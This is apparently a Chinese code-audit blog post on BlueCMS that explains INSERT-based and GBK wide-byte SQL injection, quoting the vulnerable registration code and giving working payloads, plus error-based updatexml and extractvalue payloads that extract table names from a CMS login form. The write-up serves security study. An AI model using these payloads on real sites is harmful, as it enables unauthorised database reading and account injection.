持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第十二天,点击查看活动详情
这几天的审计中见到好几个注入的新知识点,这里记录一下
从bluecms代码中学习insert和宽字节注入
源码:
$username = !empty($_POST['username']) ? trim($_POST['username']) : '' ;
$password = !empty($_POST['password']) ? trim($_POST['password']) : '' ;
$confirm_password = !empty($_POST['confirm_password']) ? trim($_POST['confirm_password']) : '' ;
$email = !empty($_POST['email']) ? trim($_POST['email']) : '' ;
if($password != $confirm_password)
{
showmsg('两次输入密码不同');
}
if($username == '' || $password == '')
{
showmsg('信息填写不完整!');
}
checknameunique($username);
$sql = "INSERT INTO ".table('user')." (user_id,user_name,pwd,email,reg_time) VALUES ('','$username',md5('$password'),'$email','$timestamp')";
$db->query($sql);
showmsg('添加会员成功','user.php');
$_POST等均使用deep_addslashes()进行转义,将单引号、双引号、反斜杠前面添加反斜杠进行转义
function deep_addslashes($str)
{
if(is_array($str))
{
foreach($str as $key=>$val)
{
$str[$key] = deep_addslashes($val);
}
}
else
{
$str = addslashes($str);
}
return $str;
}
首先我们知道编码方式为gbk,那么即使在进行插入数据库操作时进行了单引号包裹,仍然可以进行宽字节注入
首先我们先新建一个blue的表,创建user表
create table user(
-> user_id int not null,
-> user_name varchar(10) not null,
-> pwd varchar(50) not null,
-> email varchar(50) not null,
-> reg_time varchar(50) not null);
插入两条数据
insert into user (user_id,user_name,pwd,email,reg_time) values ('1','bob','123456','123@qq.com','2001-01-01');
insert into user (user_id,user_name,pwd,email,reg_time) values ('2','alice','12345678','123@qq.com','2001-01-01');
先看一下什么是insert注入,insert注入一般存在于注册、留言等地方,一般格式为 :
insert into table (xx,xxx,xx) values ('xx','xx','xx');
insert注入的payload一般使用报错函数,不得不说报错注入真的是永远的神 这里以updatexml为例,可以插入的payload为两种
' or updatexml(1,concat(0x7e,database()),0) or '
这个时候数据库语句相当于:
insert into user (user_id,user_name,pwd,email,reg_time) values (3,'bob' or updatexml(1,concat(0x7e,database()),0) or '','123','123@qq.com','2001-01-01');
另一种:
qwe12@qq.com',1),(100,'qqqq',123456,(select database()),1);
后台语句相当于
INSERT INTO user (user_id, user_name, pwd, email, reg_time) VALUES ('4','qq','gggg','qwe12@qq.com',1),(100,'qqqq',123456,(select database()),1);
然后查询一下数据库,发现回显在了email
我们回到bluecms这个地方,首先先了解一下什么是宽字节注入:
简单说下宽字节注入,addslashes()会在我们输入的单引号前面添加一个转义符\,但是在gbk里面%df'也就是编码后的%5C%27,%df%5c就是繁体字連,那么就能成功逃逸出单引号
结合上面的insert注入,此时的payload为:
123@qq.com%df',1,1),(100,0x7a6875616e6779,md5(123456),(select database()),1,1);#
那么数据库就是:
insert into blue_user (user_id,user_name,pwd,email,reg_time) values (1,'eee','111','123@qq.com%df',1,1),(100,0x7a6875616e6779,md5(123456),(select database()),1,1);#')
其中的用户名因为单引号问题所以转换为十六进制
可以看到email位置,已经输出了库名
报错注入数据显示不完整
感谢十三年师傅,这里放上师傅对熊海cms审计的链接,超级无敌详细,几乎包括了所以搭建以及审计的坑 mp.weixin.qq.com/s?__biz=MzI… updatexml函数和extractvalue函数都只能显示32位 使用limit函数一个一个的出表
user=ww'and+1%3dupdatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1)--+&password=www&login=yes
使用substr函数截取
user=ww' or extractvalue(1,concat(0x7e,substr(database(),1,5)))#&password=www&login=yes
user=ww'and+1%3dupdatexml(1,concat(0x7e,substr((SELECT group_concat(table_name) from information_schema.tables where table_schema=database()),5,30),0x7e),1)#&password=www&login=yes